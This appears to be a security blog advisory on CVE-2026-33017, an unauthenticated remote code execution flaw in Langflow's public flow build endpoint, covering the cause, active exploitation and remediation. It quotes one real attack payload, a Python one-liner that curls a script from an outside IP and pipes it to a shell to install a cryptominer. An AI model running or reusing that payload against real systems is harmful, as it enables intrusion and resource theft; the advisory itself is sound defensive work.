One POST to RCE: Unauthenticated Code Execution in Langflow (CVE-2026-33017)
Vulnerability Overview
CVE-2026-33017 is a critical unauthenticated remote code execution flaw in Langflow, the popular open-source visual framework for building AI agents and RAG pipelines. Rated CVSS v4.0 9.3, it combines missing authentication with code injection: a single HTTP POST to the public flow build endpoint runs attacker-supplied Python on the server with no credentials and no sandbox. It affects all versions up to and including 1.8.1. The flaw was disclosed on March 17, 2026, exploited in the wild within roughly 20 hours, and added to the CISA Known Exploited Vulnerabilities catalog on March 25, 2026.
If you run Langflow 1.8.1 or earlier and it is reachable from the internet, assume it is being scanned. Upgrade to 1.9.0 now, take it off the public internet, and rotate any API keys or credentials the instance could touch.
Why Langflow Is a High-Value Target
Langflow has 145,000+ GitHub stars, which translates into a large population of internet-exposed instances, many spun up by data science and ML teams that do not patch on the same cadence as production infrastructure. More importantly, these instances are credential-rich by design: they are routinely configured with API keys for OpenAI, Anthropic, and AWS, plus database connection strings. Compromising one box does not just give an attacker compute; it can hand over keys to cloud accounts and data stores, turning a single exposed AI tool into a launchpad for lateral movement and software supply chain compromise. That combination of broad exposure and concentrated secrets is exactly why attackers have started scanning AI application infrastructure specifically.
Technical Analysis
The vulnerable code is the POST /api/v1/build_public_tmp/{flow_id}/flow endpoint, which exists to let unauthenticated users build and run public flows. As the official advisory explains, the endpoint accepts an optional data parameter, and when that parameter is supplied it uses the attacker-controlled flow data, containing arbitrary Python in its node definitions, instead of the stored server-side flow from the database. That data flows into the graph builder and is ultimately handed to exec() with zero sandboxing, producing unauthenticated RCE. In the source (chat.py), the handler simply lacks any get_current_active_user dependency, so there is no identity check before attacker code runs.
Exploitation is about as simple as RCE gets. The researcher who reported it, Aviral Srivastava, described it as extremely easy and triggerable with a weaponized curl: one POST request carrying malicious Python in a JSON payload yields immediate code execution with the full privileges of the server process. From there an attacker can read environment variables (where the API keys live), modify files to plant backdoors, wipe data, or open a reverse shell.
It is worth distinguishing this from CVE-2025-3248, an earlier Langflow RCE that was fixed by adding authentication to /api/v1/validate/code. CVE-2026-33017 reaches the same dangerous exec() call at the end of the chain, but through a different door, and per the reporter the genuine fix is not simply bolting auth onto a deliberately public endpoint. It is removing the data parameter from the public path entirely, so public flows can only execute their stored server-side definitions and never attacker-supplied code. That is the change shipped in 1.9.0.
Active Exploitation
This vulnerability is a poster child for collapsing time-to-exploit. The Sysdig Threat Research Team observed the first in-the-wild exploitation roughly 20 hours after the advisory, at a point when no public PoC existed at all. Attackers built working exploits straight from the advisory text and began mass-scanning, with multiple source IPs sending an identical payload within minutes of each other. Public PoCs followed soon after, removing even that small amount of effort.
Trend Micro tracked a cryptomining campaign using the flaw as its front door. The initial access payload is a compact one-liner, roughly __import__('os').system('curl hxxp://83[.]142[.]209[.]214:8080/isp.sh | sh'), which pulls down a UPX-packed Go miner. That binary disables host security controls, runs a 39-entry rival-miner kill list, deploys a Monero miner, establishes persistence, and spreads to other hosts through reused SSH keys, turning one exposed Langflow instance into a worm-able foothold. The compute theft degrades performance and inflates cloud bills, but the SSH-key spread and credential access are the more serious long-term risks.
Affected Versions & Fixes
| Langflow Version | Status | Resolution |
|---|---|---|
| ≤ 1.8.1 | Vulnerable | Upgrade to 1.9.0 |
| 1.9.0+ | Fixed | Public build endpoint no longer accepts attacker-supplied flow data |
Mitigation & Remediation
Priority order, drawn from the Langflow advisory and Sysdig's analysis:
- Upgrade to 1.9.0. This is the complete fix, because it removes the attacker-controlled
dataparameter from the public build path. Patch before doing anything else. - Remove Langflow from the public internet. Put instances behind a VPN, private network, or authenticated proxy. The vulnerable endpoint is unauthenticated by design, so exposure is the core risk.
- Reduce privilege. Do not run Langflow as root or under a broadly privileged cloud identity. Confirm what account and infrastructure the process can reach, since RCE inherits all of it.
- Rotate secrets. Treat any API keys (OpenAI, Anthropic, AWS), database credentials, and SSH keys reachable from the instance as potentially compromised and rotate them.
- Hunt for compromise. Check for the Trend Micro cryptominer indicators, unexpected outbound connections, new SSH keys or authorized_keys entries, unfamiliar persistence, and high sustained CPU usage. Because exploitation predated any PoC, assume opportunistic hits on exposed instances.
The Bigger Picture
CVE-2026-33017 captures two trends at once. First, AI application infrastructure is now a deliberate target: frameworks like Langflow sit on a pile of high-value credentials and integrations, and attackers have noticed. Second, the window between disclosure and exploitation has effectively closed. Working exploits appeared within a day, built from nothing but the advisory, while the median organization still takes weeks to patch. When the patch window shrinks to hours, prevention alone is not enough; minimizing exposure, constraining privilege, and runtime detection become the line that actually holds. Treat your AI tooling like the internet-facing, secret-bearing application it really is.
){kind=link}